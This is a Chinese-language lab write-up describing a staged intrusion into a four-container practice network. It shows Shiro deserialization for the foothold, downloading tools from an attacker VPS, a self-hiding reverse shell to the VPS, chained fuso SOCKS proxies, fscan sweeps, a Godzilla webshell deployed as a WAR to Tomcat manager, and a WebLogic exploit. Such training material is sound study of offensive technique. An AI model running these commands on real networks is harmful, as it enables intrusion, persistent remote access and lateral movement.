靶场背景:跑在centos7上的四个docker容器,其中一个主机出网,三个主机内网
目标,通过第一层出网主机的web漏洞打入,并进行横向移动渗透到最内层主机
思路:从最外围的出网主机打进去,用fuso反向代理到vps,再用proxifier代理上vps的对应端口,此时本地已经拥有目标内网环境,再对目标内网网段存活主机扫描,寻找双网卡机器进行渗透测试,打入下一层机器再进行代理,再找双网卡机器,再代理
进入外围web服务
发现存在shiro反序列化漏洞
使用工具利用
拿到权限
准备使用fuso进行反向代理
进入github项目地址
https://github.com/editso/fuso/releases/tag/v1.0.5-beta.7
发行版中倒数第三个
复制包链接到服务器上wget
unzip xxx -d ./ 解压
在vps上搭建简易http服务
注意!自定义开启的端口要在服务器控制台防火墙中进行端口添加
肉鸡中wget vps的文件 fuc fuc.d
或直接wget fuso项目链接
前提是肉鸡也是linux系统
准备开启代理
第一层代理
vps端 (在控制台防火墙添加规则)
./fus -p 1089
此时发现在肉鸡上拿到的是非交互型shell,无法正常看到回显,遂使用反弹shell(只是操作方便,与代理无关)
打算使用netcat进行反弹shell
没想到肉鸡上没有netcat,且apt无法正常下载
肉鸡系统是redhat系列:
wget方法下载ncat
发现证书已过期,加上--no-check-certificate参数
wget --no-check-certificate https://nmap.org/dist/ncat-7.93-1.x86_64.rpm
肉鸡系统为Debian系列:
以极端环境为例:肉鸡系统大部分功能缺失
使用第三方反弹shell工具cBackShell,放在要反弹的主机上
上传到vps,python -m http.server [port]
肉鸡wget [vpsip]/[xxx]
unzip解压
unzip xxxx -d ./
示意图
vps端下载netcat
yum install ncat -y
vps开启端口监听
nc -lvp 要监听的端口
肉鸡反弹shell
进入shell-cBackShell-master目录下
./shell vpsIP vpsPort
肉鸡shell会挂起一段时间
此时监听端vps已经有响应
回车输入指令发现已经为肉鸡的shell环境
ps:过段时间肉鸡的shell挂起会自动消失,是为了更好的隐藏shell被反弹,vps端shell环境依旧存在
此时反弹shell已经完成(目的是拥有交互界面)
接下来流程:
把肉鸡反向代理到vps的某个端口
本地环境使用代理软件挂上vps对应端口的代理,即可拥有第一层内网环境,逐渐进行横向移动
vps开启两个端口,一个与肉鸡通信,一个用于走代理流量
vps开启监听
进入fuso目录下
./fus -p [与肉鸡进行通信的端口]
肉鸡shell端:
进入fuso目录
./fuc --socks [vpsIP] [vpsPort] -b vpsPORT --bridge-listen 0.0.0.0 --bridge-port [肉鸡要与下一级进行通信的端口]
(红色部分是vps用来和肉鸡通信的端口,紫色是客户端告诉vps用来走流量挂代理的端口,蓝色部分是肉鸡的本地ip,最后绿色部分是肉鸡对于下一层来说作为服务端和下一层通信的端口)
(从第一层往后,每一层肉鸡都这么写,无需再开启fus,变化的是ip地址和端口,注意:挂代理的时候不管在哪一层写的都是vps的地址,因为挂第二层代理的时候vps已经是第一层肉鸡的内网环境了,以此类推,-b后面的端口不管哪一层开的都是vps的端口)
执行发现没有权限
chmod 777 fuc
再次执行
阿里云的vps可能有拦截代理不上
换了一个可用的vps
反向代理过去
本地物理机使用proxifier挂入vps代理
修改代理规则
应用清空 (不清空可能只有添加的应用有代理)
目标主机 192.186.*.*; 10.*.*.*; 172.*.*.*;
最后一个地址也要加; 否则无法正常代理
(这样除了目标主机其他ip还是正常直连不影响上网)
默认规则选择直连
提前测试一下,现在可以访问内网环境
由于fscan挂代理有问题,选择将fscan上传至肉鸡再进行扫描(在反弹的shell中进行扫描有回显)
使用fscan-linux
./fcan -h xxx.xxx.0.0/子掩缩写
已扫描出第二层主机的web服务
是tomcat网站,准备利用tomcat漏洞
进入主站 /manager目录下
哥斯拉生成jsp内存马,压缩成zip格式,把后缀改成.war格式,上传到tomcat部署,就会自动解压
上传之后访问ip/木马名/木马名.jsp
哥斯拉连接木马地址
密码是生成木马时的密码
拿到shell
在此第二次主机上进行反向代理
代理目标为上一层ip和上一次--bridge-port的端口
-d 走流量的端口为vps的端口
chmod 777 fuc
./fuc --socks 上一层代理 上一层留的端口 -b vps端口 --bridge-listen 0.0.0.0 --bridge-port 为下一层留的端口
此时已反向代理到vps,想要获得第二层内网环境,只需将物理机代理软件的端口切换为第二层代理设置的走流量端口 7125,即可拥有第二层网络环境
代理ip始终不变
vps代理着第一层,第一层又代理着第二层,所以vps就相当于代理着第二层,只需改个端口即可代理第二层
然后代理上传fscan 进行内网扫描
扫描到web服务
访问目标主机,已经可以摸到10段的内网
发现是weblogic的页面
利用weblogic漏洞(详见我的另一篇weblogic漏洞利用)
拿下第三层内网shell
此时已攻入核心业务区